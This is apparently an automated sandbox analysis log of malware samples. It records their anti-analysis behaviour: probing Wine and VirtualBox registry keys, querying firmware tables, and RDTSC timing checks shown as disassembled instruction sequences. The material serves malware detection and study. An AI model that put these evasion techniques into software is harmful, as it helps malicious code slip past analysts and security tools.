Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37234
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-9941

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEEE6 second address: AFEF02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86A67 second address: C86A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86A6E second address: C86A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1BE47673C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85CE2 second address: C85CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1BE4ECC066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85CEC second address: C85D02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85D02 second address: C85D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85D08 second address: C85D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F1BE47673CAh 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85E8B second address: C85E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F1BE4ECC066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88866 second address: C8886A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C889F6 second address: C889FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C889FD second address: C88A5A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1BE47673CCh 0x00000008 jns 00007F1BE47673C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F1BE47673C8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d or dword ptr [ebp+122D3180h], esi 0x00000033 push 00000000h 0x00000035 add di, 3EB7h 0x0000003a call 00007F1BE47673C9h 0x0000003f push edi 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 jg 00007F1BE47673C6h 0x00000049 popad 0x0000004a pop edi 0x0000004b push eax 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f jp 00007F1BE47673C6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88A5A second address: C88A89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F1BE4ECC066h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88B5E second address: C88B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88B62 second address: C88B6C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88B6C second address: C88B87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88C8E second address: C88D13 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1BE4ECC068h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 24806AFCh 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F1BE4ECC068h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2A79h], edi 0x00000033 push 00000003h 0x00000035 and edi, dword ptr [ebp+122D3C02h] 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D3B12h] 0x00000043 push 00000003h 0x00000045 push E60F95BEh 0x0000004a push edi 0x0000004b push esi 0x0000004c jnp 00007F1BE4ECC066h 0x00000052 pop esi 0x00000053 pop edi 0x00000054 xor dword ptr [esp], 260F95BEh 0x0000005b sub cl, 0000001Eh 0x0000005e lea ebx, dword ptr [ebp+1245D7ECh] 0x00000064 sub esi, dword ptr [ebp+122D1F3Bh] 0x0000006a xchg eax, ebx 0x0000006b jmp 00007F1BE4ECC071h 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88D13 second address: C88D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B99A second address: C9B9AA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B9AA second address: C9B9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F1BE47673CCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8722 second address: CA872C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1BE4ECC07Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8CBB second address: CA8CD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1BE47673CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jl 00007F1BE47673EDh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8CD6 second address: CA8CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8CDC second address: CA8CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8F76 second address: CA8F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8F7A second address: CA8F8E instructions: 0x00000000 rdtsc 0x00000002 je 00007F1BE47673C6h 0x00000008 jmp 00007F1BE47673CAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8F8E second address: CA8F94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8F94 second address: CA8F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA929E second address: CA92A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A06 second address: CA0A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A0A second address: CA0A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A10 second address: CA0A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A14 second address: CA0A21 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0A21 second address: CA0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE47673D2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1BE47673C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C41B second address: C7C423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C423 second address: C7C434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE47673CCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C434 second address: C7C439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C439 second address: C7C43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB05E1 second address: CB05FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF335 second address: CAF34A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1BE47673CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF34A second address: CAF34F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0CF4 second address: CB0D2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F1BE47673D7h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0D2A second address: CB0D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0D2E second address: CB0D3D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0D3D second address: CB0D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0D43 second address: CB0D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB548C second address: CB5492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5492 second address: CB5496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5496 second address: CB549A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB549A second address: CB54A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5871 second address: CB5875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5875 second address: CB5897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1BE47673CEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F1BE47673CEh 0x00000011 pushad 0x00000012 popad 0x00000013 jns 00007F1BE47673C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5897 second address: CB589D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB589D second address: CB58A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB58A1 second address: CB58C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC076h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F1BE4ECC066h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B60 second address: CB5B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B69 second address: CB5B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B6F second address: CB5B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B73 second address: CB5BB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC075h 0x00000007 jmp 00007F1BE4ECC073h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1BE4ECC074h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB790E second address: CB7912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7912 second address: CB7927 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE4ECC071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79CE second address: CB79D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB79D4 second address: CB7A29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F1BE4ECC066h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 js 00007F1BE4ECC072h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push edi 0x0000001a jnc 00007F1BE4ECC066h 0x00000020 pop edi 0x00000021 js 00007F1BE4ECC07Eh 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push edi 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7A29 second address: CB7A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7A2D second address: CB7A63 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1BE4ECC066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pop eax 0x0000000c clc 0x0000000d call 00007F1BE4ECC069h 0x00000012 jmp 00007F1BE4ECC075h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007F1BE4ECC068h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7A63 second address: CB7A86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1BE47673D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7A86 second address: CB7A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC06Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7D7F second address: CB7D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7D83 second address: CB7D91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1BE4ECC06Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F0B second address: CB7F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F11 second address: CB7F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F15 second address: CB7F30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1BE47673CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F30 second address: CB7F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB868A second address: CB8690 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8690 second address: CB869A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1BE4ECC066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB869A second address: CB86B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007F1BE47673C8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1BE47673CBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8764 second address: CB876A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB876A second address: CB876F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB876F second address: CB8775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8775 second address: CB8788 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F1BE47673D9h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAD18 second address: CBAD34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC078h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9AD0 second address: CB9AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9AD4 second address: CB9ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9ADA second address: CB9ADF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB38D second address: CBB3A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1BE4ECC078h 0x00000009 rdtsc
